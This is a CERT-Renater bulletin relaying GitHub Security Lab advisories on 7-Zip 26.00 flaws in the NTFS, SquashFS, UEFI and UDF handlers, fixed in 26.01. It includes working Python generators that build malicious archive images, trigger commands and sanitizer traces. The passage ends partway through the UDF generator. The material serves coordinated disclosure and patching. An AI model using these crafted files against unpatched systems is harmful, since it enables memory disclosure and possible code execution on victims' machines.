Ce mail provient de l'extérieur, restons vigilants

=====================================================================

                            CERT-Renater

                Note d'Information No. 2026/VULN566
_____________________________________________________________________

DATE                : 01/06/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running 7-Zip versions prior to 26.01.

=====================================================================
https://securitylab.github.com/advisories/GHSL-2026-140_7-Zip/
https://securitylab.github.com/advisories/GHSL-2026-115_GHSL-2026-122_7-zip/
_____________________________________________________________________

GHSL-2026-140: Heap Buffer Write Overflow in 7-Zip
Author avatar Jaroslav Lobačevski
Coordinated Disclosure Timeline

    2026-04-24: The report was delivered as a sourceforge private issue.
    2026-04-27: v26.01 with a fix was released.

Summary

A heap buffer overflow vulnerability (GHSL-2026-140) exists in 7-Zip
version 26.00, caused by an under-allocation in the NTFS compressed
stream buffer (GetCuSize shift UB), potentially allowing attackers to
exploit this issue for arbitrary code execution or application
crashes.


Project

7-Zip
Tested Version

v26.00
Details
Heap buffer overflow via NTFS compressed stream buffer under-allocation
(GetCuSize shift UB) (GHSL-2026-140)

A heap buffer overflow vulnerability exists in the NTFS archive handler
in 7-Zip that can lead to code execution via vtable hijack. The
CInStream::GetCuSize() function computes the NTFS compression-unit buffer
size using a 32-bit shift (UInt32)1 << (BlockSizeLog + CompressionUnit).
When an attacker-crafted NTFS image sets ClusterSizeLog >= 28 (accepted
by the parser) and a compressed data attribute with CompressionUnit == 4,
the shift exponent reaches 32 — undefined behavior in C++. On both x86
and x64, the UB causes _inBuf to be allocated as 1 byte. The subsequent
ReadStream_FALSE writes 256 MB of attacker-controlled data into this
1-byte buffer.

The NTFS boot sector parser accepts cluster sizes up to 2^30 bytes (CPP/7zip/Archive/NtfsHandler.cpp, line 133):

// NtfsHandler.cpp, lines 122-134
const unsigned v = p[13];
if (v <= 0x80)
{
  const int t = GetLog(v);
  if (t < 0) return false;
  sectorsPerClusterLog = (unsigned)t;
}
else
  sectorsPerClusterLog = 0x100 - v;
ClusterSizeLog = SectorSizeLog + sectorsPerClusterLog;
if (ClusterSizeLog > 30)        // allows 28, 29, 30
  return false;

Non-resident compressed data attributes carry CompressionUnit from the
attacker-controlled attribute header (NtfsHandler.cpp:509). The value
CompressionUnit == 4 is explicitly accepted (NtfsHandler.cpp:430).

The compressed stream’s buffer size is computed as:

// NtfsHandler.cpp, line 687
UInt32 GetCuSize() const { return (UInt32)1 << (BlockSizeLog + CompressionUnit); }

When BlockSizeLog == 28 and CompressionUnit == 4, the exponent is 32 — undefined behavior (shift by >= type width). On x86, (UInt32)1 << 32 typically yields 1 due to hardware masking of shift counts.

The undersized buffer is then used:

// NtfsHandler.cpp, lines 695-697
UInt32 cuSize = GetCuSize();     // UB → 1 byte on x86/x64
_inBuf.Alloc(cuSize);           // allocates 1 byte
_outBuf.Alloc(kNumCacheChunks << _chunkSizeLog);  // x86: 2 bytes; x64: 8 GB (succeeds on >= 16 GB RAM)

NTFS uses LZNT1 compression. The two buffers serve a standard decompress pipeline:

    _inBuf — holds raw compressed data read from disk (via ReadStream_FALSE)
    _outBuf — holds decompressed output from Lznt1Dec(), also used as a read cache

The normal flow is: disk → _inBuf → Lznt1Dec() → _outBuf → memcpy to caller.
Both buffers should be GetCuSize() bytes (one compression unit). Due to the
shift UB, _inBuf gets 1 byte instead of the intended size, so the very first
step — reading compressed data from disk into _inBuf — overflows:

// NtfsHandler.cpp, lines 940-941
const size_t compressed = (size_t)numChunks << BlockSizeLog;  // up to 256 MB
RINOK(ReadStream_FALSE(Stream, _inBuf + offs, compressed))    // writes into 1-byte buffer

Note that the overflow target is _inBuf, not _outBuf. On x64, even when the 8
GB _outBuf allocation succeeds, the 1-byte _inBuf is still overflowed because
both buffer sizes are computed independently from the same UB shift result.


Platform-dependent behavior

On 32-bit builds, (size_t)2 << 32 is also UB (size_t is 32-bit), yielding 2 via
hardware masking. Both _inBuf.Alloc(1) and _outBuf.Alloc(2) succeed with tiny
allocations, and the heap overflow is unconditionally reached.

On 64-bit builds, (size_t)2 << 32 is a valid 64-bit shift yielding
8,589,934,592 (8 GB). The _outBuf.Alloc(8 GB) call succeeds on systems with
sufficient RAM (confirmed on a 64 GB machine). After the allocation succeeds,
execution proceeds to ReadStream_FALSE and the same heap overflow occurs. On
low-memory systems, the allocation may fail with CNewException, limiting the
impact to DoS.


Impact

    Heap buffer overflow leading to vtable hijack (potential code execution) — 256
MB written into a 1-byte heap buffer. ReadStream_FALSE calls stream->Read()
in a loop (64 KB per iteration via kBlockSize). Debugger analysis on a release
/O1 build (identical codegen to official binary) shows the stream object
(CInStream) is allocated only 304 bytes (0x130) after _inBuf on the heap. The
first Read() iteration writes 64 KB of attacker-controlled data starting at
_inBuf, overwriting the stream object’s vtable pointer after just 304 bytes.
The second Read() iteration dispatches through the corrupted vtable — a
classic vtable hijack. The attacker controls the written data (NTFS cluster
content from the crafted image), so they control the overwritten vtable
pointer.
    Both x86 and x64 builds are affected. On x64, the overflow is reached on
any system where the 8 GB _outBuf allocation succeeds (common on modern
systems with >= 16 GB RAM).
    On Windows, ReadFile fails if it detects an unmapped or guard page in
the destination range before copying the controlled bytes. Attackers may
need Heap Feng Shui to place _inBuf so the overwrite reaches adjacent
objects without immediately faulting.
    The NTFS handler is enabled in stock 7z.dll and is registered for
.ntfs and .img extensions. However, 7-Zip uses signature-based fallback
detection: when the format matching the file extension fails to open,
all remaining handlers are tried in signature-priority order. Because
the NTFS handler matches on the "NTFS    " signature at byte offset 3
(REGISTER_ARC_I in NtfsHandler.cpp:2889), a crafted NTFS image with
any file extension — including .7z, .zip, .rar, or no extension at
all — will be opened by the NTFS handler after the extension-matched
handler rejects it. This means the attack surface is not limited to
files with NTFS-associated extensions.
    Triggers during extraction/testing of a compressed file from the
crafted image.
    No user interaction beyond opening the crafted image.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H — 8.8 (High)

Affected versions: The GetCuSize() computation has been present since
NTFS compressed stream support was introduced. All versions through
26.00 are affected.
CWEs

    CWE-787: “Out-of-bounds Write”
    CWE-190: “Integer Overflow or Wraparound”


Resources

PoC generator (gen_ntfs_sparse.py) — generates poc_ntfs_sparse.ntfs
(512 MB sparse NTFS image, ~8 KB actual data):

#!/usr/bin/env python3
"""Generate a sparse NTFS image with ClusterSizeLog=28 and a compressed
$DATA attribute with CompressionUnit=4 to trigger GetCuSize() UB."""
import struct, os, sys

boot = bytearray(512)
boot[0:3] = b'\xEB\x52\x90'
boot[3:11] = b'NTFS    '
struct.pack_into('<H', boot, 11, 512)
boot[13] = 0xED  # ClusterSizeLog = 28
for i in range(14, 21): boot[i] = 0
boot[21] = 0xF8
struct.pack_into('<H', boot, 24, 63)
struct.pack_into('<H', boot, 26, 255)
struct.pack_into('<Q', boot, 40, 2 << 19)  # TotalSectors
struct.pack_into('<Q', boot, 48, 1)  # MftCluster=1 -> offset 256MB
boot[64] = 0xF6
boot[68] = 0xF6
struct.pack_into('<Q', boot, 72, 0x1234567890ABCDEF)
boot[510] = 0x55; boot[511] = 0xAA

MFT_REC = 1024

def mft_rec(seq, flags, attrs, rec_num=0):
    r = bytearray(MFT_REC)
    r[0:4] = b'FILE'
    struct.pack_into('<H', r, 4, 0x30)   # UpdateSequenceOffset
    struct.pack_into('<H', r, 6, 3)      # UpdateSequenceSize
    struct.pack_into('<Q', r, 8, 0)
    struct.pack_into('<H', r, 16, seq)
    struct.pack_into('<H', r, 18, 1)
    struct.pack_into('<H', r, 20, 0x38)
    struct.pack_into('<H', r, 22, flags)
    bytes_in_use = (0x38 + len(attrs) + 8 + 7) & ~7
    struct.pack_into('<I', r, 24, bytes_in_use)
    struct.pack_into('<I', r, 28, MFT_REC)
    struct.pack_into('<I', r, 0x2C, rec_num)
    r[0x38:0x38+len(attrs)] = attrs
    struct.pack_into('<I', r, 0x38+len(attrs), 0xFFFFFFFF)
    usn = 0x0001
    struct.pack_into('<H', r, 0x30, usn)
    orig0 = struct.unpack_from('<H', r, 510)[0]
    orig1 = struct.unpack_from('<H', r, 1022)[0]
    struct.pack_into('<H', r, 0x32, orig0)
    struct.pack_into('<H', r, 0x34, orig1)
    struct.pack_into('<H', r, 510, usn)
    struct.pack_into('<H', r, 1022, usn)
    return r

def std_info():
    d = bytearray(48)
    a = bytearray(24 + len(d))
    struct.pack_into('<I', a, 0, 0x10)
    struct.pack_into('<I', a, 4, len(a))
    a[8] = 0
    struct.pack_into('<H', a, 14, 0x18)
    struct.pack_into('<I', a, 16, len(d))
    a[24:24+len(d)] = d
    return a

def filename(name):
    nu = name.encode('utf-16-le')
    fn = bytearray(66 + len(nu))
    struct.pack_into('<Q', fn, 0, 5)
    fn[64] = len(name)
    fn[65] = 3
    fn[66:66+len(nu)] = nu
    raw_len = 24 + len(fn)
    padded_len = (raw_len + 7) & ~7
    a = bytearray(padded_len)
    struct.pack_into('<I', a, 0, 0x30)
    struct.pack_into('<I', a, 4, padded_len)
    a[8] = 0
    struct.pack_into('<H', a, 14, 0x18)
    struct.pack_into('<I', a, 16, len(fn))
    a[24:24+len(fn)] = fn
    return a

def compressed_data():
    rl = bytes([0x11, 0x01, 0x01, 0x00])  # 1 cluster at LCN 1
    hdr_size = 0x48
    sz = (hdr_size + len(rl) + 7) & ~7
    a = bytearray(sz)
    struct.pack_into('<I', a, 0, 0x80)
    struct.pack_into('<I', a, 4, sz)
    a[8] = 1
    struct.pack_into('<Q', a, 0x10, 0)     # LowVcn
    struct.pack_into('<Q', a, 0x18, 0)     # HighVcn
    struct.pack_into('<H', a, 0x20, hdr_size)  # RunlistOffset
    a[0x22] = 4                            # CompressionUnit = 4
    cs = 1 << 28
    struct.pack_into('<Q', a, 0x28, cs)    # AllocatedSize
    struct.pack_into('<Q', a, 0x30, 100)   # Size
    struct.pack_into('<Q', a, 0x38, 100)   # InitializedSize
    struct.pack_into('<Q', a, 0x40, cs)    # PackSize
    a[hdr_size:hdr_size+len(rl)] = rl
    return a

def mft_data_attr(num_records):
    rl = bytes([0x11, 0x01, 0x01, 0x00])
    sz = (72 + len(rl) + 7) & ~7
    a = bytearray(sz)
    struct.pack_into('<I', a, 0, 0x80)
    struct.pack_into('<I', a, 4, sz)
    a[8] = 1
    struct.pack_into('<Q', a, 16, 0)
    struct.pack_into('<Q', a, 24, 0)
    struct.pack_into('<H', a, 32, 0x40)
    struct.pack_into('<H', a, 34, 0)       # CompressionUnit = 0
    data_size = num_records * MFT_REC
    struct.pack_into('<Q', a, 40, 1 << 28)
    struct.pack_into('<Q', a, 48, data_size)
    struct.pack_into('<Q', a, 56, data_size)
    a[0x40:0x40+len(rl)] = rl
    return a

num_mft_records = 7
mft  = mft_rec(1, 1, std_info() + mft_data_attr(num_mft_records), rec_num=0)
for i in range(1, 5):
    mft += mft_rec(i+1, 1, std_info(), rec_num=i)
mft += mft_rec(1, 3, std_info(), rec_num=5)  # root dir
mft += mft_rec(1, 1, std_info() + filename("test.txt") + compressed_data(), rec_num=6)

mft_off = 1 << 28   # 256 MB
phy_size = 2 << 28   # 512 MB
out = sys.argv[1] if len(sys.argv) > 1 else "poc_ntfs_sparse.ntfs"
with open(out, 'wb') as f:
    f.write(boot)
    f.seek(mft_off)
    f.write(mft)
    f.seek(phy_size - 1)
    f.write(b'\x00')

print(f"Generated: {out} ({os.stat(out).st_size} bytes apparent)")

Usage: python3 gen_ntfs_sparse.py [output_path]

The PoC constructs a hand-crafted NTFS image with ClusterSizeLog = 28
(256 MB clusters), 7 MFT records at offset 256 MB, and a compressed
$DATA attribute with CompressionUnit = 4. No existing NTFS formatting
tool (mkntfs) supports clusters larger than 64 KB, so the entire MFT
structure is synthesized from scratch with correct:

    Boot sector with SectorsPerCluster = 0xED (negative encoding for
ClusterSizeLog = 28)
    USN fixup arrays at sector boundaries
    8-byte-aligned attribute records ($STANDARD_INFORMATION, $FILE_NAME, $DATA)
    Non-resident $DATA runlists within NumClusters bounds
    Compressed attribute header with PackSize field at offset 0x40


Verification

Confirmed with UBSan.
UBSan (clang, Linux x64, recovery mode)

Confirms the root-cause shift UB regardless of platform:

../../Archive/NtfsHandler.cpp:687:47: runtime error: shift exponent
32 is too large
    for 32-bit type 'UInt32' (aka 'unsigned int')
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior
    ../../Archive/NtfsHandler.cpp:687:47

After the UB, cascading corruption leads to a SEGV:

../../Common/StreamUtils.cpp:62:27: runtime error: member call on address 0x5d3dd8f776f0
    which does not point to an object of type 'ISequentialInStream'
    note: object has invalid vptr
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==60==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000018
==60==Hint: address points to the zero page.

CVE

    CVE-2026-48095

Credit

This issue was discovered and reported by GHSL team member @JarLob
(Jaroslav Lobačevski).


Contact

You can contact the GHSL team at securitylab@github.com, please
include a reference to GHSL-2026-140 in any communication regarding
this issue.
_____________________________________________________________________

GHSL-2026-115–GHSL-2026-122: Various memory access violations in 7-Zip
Author avatar Jaroslav Lobačevski
Coordinated Disclosure Timeline

    2026-04-21: The report was delivered through sourceforge private
issues.
    2026-04-27: v26.01 with fixes was released.

Summary

The 7-Zip project, version 26.00, contains various memory access
violations, out-of-bounds (OOB) read issues, uninitialized memory
vulnerabilities, integer overflow flaws in various archive formats
(e.g., 7z, SquashFS, UDF, UEFI, WIM, and Ar), and path traversal
in sample app, which could potentially lead to compromising system
integrity or accessing sensitive data.

Project
7-Zip

Tested Version
v26.00


Details
Issue 1: SquashFS Fragment Offset Overflow (GHSL-2026-116)

Heap memory disclosure via SquashFS fragment offset integer
overflow on 32-bit builds.

32-bit integer overflow in the SquashFS ReadBlock function allows
an attacker-controlled node.Offset value to bypass the fragment
bounds check, causing memcpy to read heap memory preceding the
cache buffer into the extracted file. The vulnerability is
exploitable only on 32-bit builds of 7-Zip where size_t is 32
bits, allowing the addition offsetInBlock + blockSize to wrap
modulo 2³². On 64-bit builds the addition is promoted to 64 bits
and the check correctly rejects the input.

CHandler::ReadBlock (CPP/7zip/Archive/SquashfsHandler.cpp, line 2134)
reads a fragment with an attacker-controlled offsetInBlock:

// CPP/7zip/Archive/SquashfsHandler.cpp, lines 2153-2198

offsetInBlock = node.Offset;              // attacker-controlled UInt32, no validation
...
if (offsetInBlock + blockSize > _cachedUnpackBlockSize)   // line 2195
  return S_FALSE;
if (blockSize != 0)
  memcpy(dest, _cachedBlock + offsetInBlock, blockSize);  // line 2198

node.Offset is read directly from the on-disk inode as a full UInt32
with no upper-bound validation:

// CPP/7zip/Archive/SquashfsHandler.cpp, line 708 (Parse4, regular file)
LE_32 (24, Offset);

Nothing in Open2 validates that node.Offset < _h.BlockSize.
32-bit overflow

offsetInBlock is UInt32. blockSize is size_t. _cachedUnpackBlockSize
is UInt32.

On 32-bit builds (size_t is 32-bit): offsetInBlock + blockSize is
computed in 32-bit unsigned and wraps modulo 2³².
With offsetInBlock = 0xFFFF8000 and blockSize = 0x8000:

    0xFFFF8000 + 0x8000 = 0x100000000 wraps to 0
    0 > _cachedUnpackBlockSize → false → check bypassed
    _cachedBlock + 0xFFFF8000 wraps to _cachedBlock - 0x8000
    memcpy(dest, _cachedBlock - 0x8000, 0x8000) copies 32 KiB of
heap memory preceding the cache allocation into the extracted file

On 64-bit builds (size_t is 64-bit): the addition promotes to 64
bits, no wrap occurs, and the check correctly rejects.
Impact

This issue may lead to information disclosure (heap memory
preceding _cachedBlock written into extracted file) on 32-bit builds.

    The SquashFS handler is registered for .squashfs and .sfs files
and is enabled in stock 7z.dll.
    32-bit builds of 7-Zip are shipped on the official 7-zip.org
downloads page.
    The vulnerability triggers during extraction — the attacker
recovers heap contents by reading the extracted file.
    The attacker controls the read offset via node.Offset and the
read size via FileSize (up to _h.BlockSize, max 8 MiB).
    Heap memory preceding _cachedBlock (up to BlockSize bytes) is
written into the extracted file — an in-band information disclosure
primitive.
    On 64-bit builds, the bug is latent (bounds check is correct
due to 64-bit promotion).

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium)

Scored for 32-bit builds where the disclosure is real.

Affected versions: The SquashFS fragment ReadBlock with offsetInBlock
has been present since 7-Zip 9.18. All 32-bit builds from 9.18
through 26.00 are affected. 64-bit builds are not affected.


CWEs

    CWE-190: “Integer Overflow or Wraparound”
    CWE-125: “Out-of-bounds Read”


Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a SquashFS v4 image with a large fragment Offset for 32-bit overflow."""
import struct, sys

OFFSET = int(sys.argv[2], 0) if len(sys.argv) > 2 else 0xFFFFFFFC

# Minimal SquashFS v4 with one file referencing fragment 0
# Fragment is 64 bytes uncompressed; file inode has Offset=OFFSET
hdr  = b'hsqs'                              # magic
hdr += struct.pack('<I', 3)                  # inode count
hdr += struct.pack('<I', 0)                  # mtime
hdr += struct.pack('<I', 8192)               # block_size
hdr += struct.pack('<I', 1)                  # fragments
hdr += struct.pack('<H', 1)                  # compression (gzip)
hdr += struct.pack('<H', 13)                 # block_log
hdr += struct.pack('<H', 451)                # flags (no UNCOMPRESSED_FRAGMENTS)
hdr += struct.pack('<H', 1)                  # no_ids

# File inode: frag=0, offset=OFFSET, size=4
file_inode  = struct.pack('<HH', 2, 0x1b4)  # type=file, mode=0644
file_inode += struct.pack('<HH', 0, 0)       # uid, gid
file_inode += struct.pack('<I', 0x6704cd40)  # mtime
file_inode += struct.pack('<I', 3)            # inode_number
file_inode += struct.pack('<I', 0)            # block_start
file_inode += struct.pack('<I', 0)            # frag_index=0
file_inode += struct.pack('<I', OFFSET)       # block_offset=OFFSET (overflow trigger)
file_inode += struct.pack('<I', 4)            # file_size=4

# Two directory inodes (sub-dir + root)
def dir_inode(ino, parent):
    d  = struct.pack('<HH', 1, 0x1fd)
    d += struct.pack('<HH', 0, 0)
    d += struct.pack('<I', 0x6704cd42)
    d += struct.pack('<I', ino)
    d += struct.pack('<I', 0)                # block_index
    d += struct.pack('<I', 2)                # link_count
    d += struct.pack('<HH', 0, 0)            # size (placeholder), block_offset
    d += struct.pack('<I', parent)
    return bytearray(d)

dir1 = dir_inode(2, 4)
dir2 = dir_inode(4, 5)

# Directory entries
def dir_entry(offset, ino_off, ino_type, name):
    return struct.pack('<HHH', offset, ino_off, ino_type) + struct.pack('<H', len(name)-1) + name

lvl0 = struct.pack('<I', 0) + b'\x00\x00\x00\x00' + struct.pack('<I', 3)
lvl0 += dir_entry(0, 0, 2, b'c')
lvl1 = struct.pack('<I', 0) + b'\x00\x00\x00\x00' + struct.pack('<I', 1)
lvl1 += dir_entry(len(file_inode), 1, 1, b'bb')

struct.pack_into('<H', dir1, 24, len(lvl0) + 3)
struct.pack_into('<H', dir2, 24, len(lvl1) + 3)
struct.pack_into('<H', dir2, 26, len(lvl0))

root_inode = len(file_inode) + len(dir1)

inode_table = file_inode + bytes(dir1) + bytes(dir2)
inode_table = struct.pack('<H', len(inode_table) | (1<<15)) + inode_table
dir_table = lvl0 + lvl1
dir_table = struct.pack('<H', len(dir_table) | (1<<15)) + dir_table

frag_data = b'\xCC' * 64
frag_entry = struct.pack('<Q', 96) + struct.pack('<I', len(frag_data) | (1<<24)) + b'\x00'*4
frag_table = struct.pack('<H', len(frag_entry) | (1<<15)) + frag_entry

id_pre = struct.pack('<H', 4 | (1<<15)) + b'\xe8\x03\x00\x00'

it_start = 96 + len(frag_data)
dt_start = it_start + len(inode_table)
ft_start = dt_start + len(dir_table)
fi_start = ft_start + len(frag_table)
ip_start = fi_start + 8
id_start = ip_start + len(id_pre)

hdr += struct.pack('<HH', 4, 0)             # major, minor
hdr += struct.pack('<Q', root_inode)
hdr += struct.pack('<Q', id_start + 8)       # bytes_used
hdr += struct.pack('<Q', id_start)            # id_table
hdr += struct.pack('<Q', 0xFFFFFFFFFFFFFFFF)  # xattr (none)
hdr += struct.pack('<Q', it_start)
hdr += struct.pack('<Q', dt_start)
hdr += struct.pack('<Q', fi_start)
hdr += struct.pack('<Q', fi_start)            # lookup = frag index

out = hdr + frag_data + inode_table + dir_table + frag_table
out += struct.pack('<Q', ft_start) + id_pre + struct.pack('<Q', ip_start)
open(sys.argv[1], 'wb').write(out)
print(f'Written {len(out)}b, Offset=0x{OFFSET:X}')

Usage: python poc.py poc_sfs_32bit.sfs 0xFFFFFFFC

Triggering:

7zz x poc_sfs_32bit.sfs    # on 32-bit build

Verification

64-bit build (safe): Correctly rejects with Data Error : bb\c. The addition
0xFFFFFFFC + 4 = 0x100000000 does not wrap on 64-bit size_t and the bounds
check catches it.

32-bit ASan build (7zz.exe (x86) built from 7-Zip 26.00 source
with /fsanitize=address):

==20940==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x052028fc
  at pc 0x7107a47a bp 0x012fe3f0 sp 0x012fdfd4
READ of size 4 at 0x052028fc thread T0
    #0 _asan_wrap_memcpy
    #1 NArchive::NSquashfs::CHandler::ReadBlock  SquashfsHandler.cpp:2198
    #2 NArchive::NSquashfs::CSquashfsInStream::ReadBlock  SquashfsHandler.cpp:2131
    #3 NCompress::CCopyCoder::Code  CopyCoder.cpp:63
    #4 NArchive::NSquashfs::CHandler::Extract  SquashfsHandler.cpp:2278

0x052028fc is located 4 bytes before 8192-byte region [0x05202900,0x05204900)
allocated by thread T0 here:
    #0 operator new[]  asan_win_new_array_thunk.cpp:41
    #1 CBuffer<unsigned char>::Alloc  MyBuffer.h:69
    #2 NArchive::NSquashfs::CHandler::GetStream  SquashfsHandler.cpp:2338

SUMMARY: AddressSanitizer: heap-buffer-overflow
  SquashfsHandler.cpp:2198 in NArchive::NSquashfs::CHandler::ReadBlock

4 bytes before 8192-byte region confirms the 32-bit pointer wrap:
_cachedBlock + 0xFFFFFFFC wraps to _cachedBlock - 4, and memcpy reads
from before the allocation.

Issue 2: UEFI Capsule uninitialized heap memory disclosure (GHSL-2026-117)

Uninitialized heap memory disclosure in 7-Zip UEFI capsule handler via
truncated archive.

An uninitialized memory disclosure vulnerability exists in the UEFI
capsule (.scap) parser in 7-Zip. The OpenCapsule function allocates a
heap buffer of attacker-declared CapsuleImageSize (up to 1 GiB) without
zero-initialization, then reads the file contents into it with
ReadStream_FALSE whose return value is silently discarded. If the file
is truncated, the unread tail of the buffer retains uninitialized heap
memory, which is then exposed as extracted file content via GetStream.

The function CHandler::OpenCapsule (CPP/7zip/Archive/UefiHandler.cpp, line 1571):

// CPP/7zip/Archive/UefiHandler.cpp, lines 1592-1595

const unsigned bufIndex = AddBuf(_h.CapsuleImageSize);
CByteBuffer &buf0 = _bufs[bufIndex];
memcpy(buf0, buf, kHeaderSize);                                              // 80 bytes
ReadStream_FALSE(stream, buf0 + kHeaderSize, _h.CapsuleImageSize - kHeaderSize); // ← NO RINOK!

Compare with the other ReadStream_FALSE calls in the same file
(lines 1575, 1615, 1627), which all use RINOK(ReadStream_FALSE(...)).
Line 1595 is the only call that discards the return value.

AddBuf calls CByteBuffer::Alloc which uses new Byte[size] — no
zero-initialization (MyBuffer.h:69).

When the file is truncated shorter than CapsuleImageSize, ReadStream_FALSE
returns S_FALSE (short read), but execution continues. The unread bytes
in buf0 retain whatever the heap allocator returned.

GetStream exposes uninitialized bytes:

// CPP/7zip/Archive/UefiHandler.cpp, lines 1831-1837

const CByteBuffer &buf = _bufs[item.BufIndex];
if (item.Offset > buf.Size())
  return S_FALSE;
size_t size = buf.Size() - item.Offset;
if (size > item.Size)
  size = item.Size;
streamSpec->Init(buf + item.Offset, size, (IInArchive *)this);

The extraction callback receives bytes directly from buf0, including
the uninitialized region. These bytes are written to disk as the
“extracted” file content.

ParseVolume reads the capsule body from the same uninitialized buffer.
When the body prefix is not a valid FFS firmware volume, ParseVolume
falls through to creating a single [VOL] item spanning the entire
capsule body. This is the default fallback — no FFS header checksums
or structural validation are needed. The PoC demonstrates this:
16 bytes of 0xAA (not valid FFS) causes ParseVolume to create one item
covering the full 4016-byte body, including 4000 bytes of uninitialized
heap.


Impact

This issue may lead to information disclosure (uninitialized heap memory
written to extracted files).

    The UEFI capsule handler is registered for .scap files with
signature-based detection (NArcInfoFlags::kFindSignature) and is enabled
in stock 7z.dll.
    The vulnerability triggers on extraction (GetStream is called when the
user extracts a file from the archive).
    Usual operation — the user just opens and extracts a malicious .scap file.
    Up to ~1 GiB of uninitialized heap memory is written to disk as
extracted file content. In a long-running 7-Zip GUI session (warm heap),
this can include fragments of previously processed archives, file paths,
decompressed content, or passwords from encrypted archive sessions.
    On Windows, even a cold (freshly launched) process leaks non-zero heap
metadata. On Linux the cold leak contains zeros, the “warm” process leaks
the non-zero heap. The GUI is the primary concern because it is
long-running.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N — 6.5 (Medium)

Affected versions: The unchecked ReadStream_FALSE has been present since
7-Zip 9.21. All versions from 9.21 through 26.00 are affected.

CWEs

    CWE-908: “Use of Uninitialized Resource”

Resources

PoC generator

import struct

# CAPSULE_SIGNATURE GUID (type 0 = 80-byte header)
guid = bytes([0xBD,0x86,0x66,0x3B,0x76,0x0D,0x30,0x40,
              0xB7,0x0E,0xB5,0x51,0x9E,0x2F,0xC5,0xA0])

hdr = bytearray(80)
hdr[0:16] = guid
struct.pack_into("<I", hdr, 0x10, 80)     # HeaderSize
struct.pack_into("<I", hdr, 0x18, 0x1000) # CapsuleImageSize = 4096
struct.pack_into("<I", hdr, 0x30, 0)      # OffsetToSplitInformation = 0
struct.pack_into("<I", hdr, 0x34, 80)     # OffsetToCapsuleBody = 80

# Only 16 bytes of body, but CapsuleImageSize claims 4096
open("poc_uefi_trunc.scap", "wb").write(bytes(hdr) + b"\xAA" * 16)

Triggering:

7zz x poc_uefi_trunc.scap

Verification

ASan build (MSVC /fsanitize=address): The extracted file contains ASan’s
malloc-fill byte 0xBE throughout the uninitialized region:

$ 7zz l poc_uefi_trunc.scap
Type = UEFIc
ERRORS: Unexpected end of archive
Physical Size = 4096
  .....  4016  BEBEBEBE[VOL]     ← item name from uninitialized GUID bytes

$ 7zz x poc_uefi_trunc.scap
  → Extracted: BEBEBEBE[VOL] (4016 bytes)
  → First 16 bytes: AA AA AA ... (valid body from input)
  → Remaining 4000 bytes: all 0xBE (ASan malloc-fill sentinel)

The 0xBE fill proves:

    AddBuf → new Byte[4096] never zero-initializes the buffer
    ReadStream_FALSE short-reads 16 bytes and returns S_FALSE,
which is silently discarded
    ParseVolume reads uninitialized bytes to construct the item
(the GUID BEBEBEBE comes from uninitialized buffer)
    GetStream returns the entire 4016-byte body including 4000
bytes of uninitialized heap content

MSan build (clang -fsanitize=memory, Linux via Docker):

Uninitialized bytes in MemcmpInterceptorCommon at offset 16 inside [0x720000001050, 20)
==8==WARNING: MemorySanitizer: use-of-uninitialized-value
    #0 0x5555555f9c39  (/bin2/7zz+0xa5c39)
    #1 0x55555584386f  (/bin2/7zz+0x2ef86f)
    ...
SUMMARY: MemorySanitizer: use-of-uninitialized-value (/bin2/7zz+0xa5c39)

MSan confirms that uninitialized heap bytes from the truncated ReadStream_FALSE
are used in memcmp during ParseVolume’s FFS signature check.


Issue 3: UDF Field OOB Read (GHSL-2026-118)

Up-to-3-byte heap OOB read in UDF File Identifier padding loop.

The UDF disc image parser’s CFileId::Parse function reads up to 3 bytes past
the end of the heap-allocated directory buffer in the alignment-padding scan
loop. The bounds check processed <= size is performed after the OOB reads,
not before.

CFileId::Parse (CPP/7zip/Archive/Udf/UdfIn.cpp, line 479) parses File
Identifier Descriptors from a heap buffer:

// CPP/7zip/Archive/Udf/UdfIn.cpp, lines 496-510

  if (size < 38 + idLen + impLen)
    return 0;
  processed = 38;
  processed += impLen;
  Id.Parse(p + processed, idLen);
  processed += idLen;                      // processed == 38 + impLen + idLen ≤ size
  for (;(processed & 3) != 0; processed++)
    if (p[processed] != 0)                 // ← OOB read when processed >= size
      return 0;
  if ((size_t)tag.CrcLen + 16 != processed)
    return 0;
  return (processed <= size) ? processed : 0;   // bounds check AFTER the reads

The check at line 496 ensures processed ≤ size at loop entry. The padding
loop then reads p[processed] for up to 3 iterations (aligning to 4-byte
boundary) before the post-loop processed <= size check. When
(38 + impLen + idLen) % 4 != 0 and 38 + impLen + idLen == size, the loop
reads 1–3 bytes past size.

The buffer p is allocated with buf.Alloc((size_t)item.Size) — an
exact-size heap allocation.


Impact

This issue may lead to information disclosure (1-bit oracle per OOB
byte via open/fail behavior).

    The UDF handler is registered for .iso, .udf and auto-detected
by signature.
    Triggers during Open() — listing or extracting a crafted UDF
image.
    OOB read of up to 3 bytes per FID parse.

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N — 3.1 (Low)

Affected versions: The UDF handler has been present since 7-Zip 9.11.
All versions through 26.00 are affected.

CWEs

    CWE-125: “Out-of-bounds Read”

Resources

PoC generator:

#!/usr/bin/env python3
"""Generate a minimal UDF image triggering CFileId::Parse padding-loop OOB read."""
import struct, sys, os

SEC_SIZE = 2048
CRC16_POLY = 0x1021
_crc16_table = []
for i in range(256):
    r = i << 8
    for _ in range(8):
        r = ((r << 1) ^ (CRC16_POLY if (r & 0x8000) else 0)) & 0xFFFF
    _crc16_table.append(r)

def crc16(data):
    v = 0
    for b in data:
        v = (_crc16_table[((v >> 8) ^ b) & 0xFF] ^ (v << 8)) & 0xFFFF
    return v

def make_tag(tag_id, payload, tag_location):
    crc_len = len(payload)
    tag = bytearray(16)
    struct.pack_into('<H', tag, 0, tag_id)
    struct.pack_into('<H', tag, 2, 2)
    struct.pack_into('<H', tag, 8, crc16(payload))
    struct.pack_into('<H', tag, 10, crc_len)
    struct.pack_into('<I', tag, 12, tag_location)
    tag[4] = 0
    tag[4] = sum(tag) & 0xFF
    return bytes(tag) + payload

def pad_sec(data):
    r = len(data) % SEC_SIZE
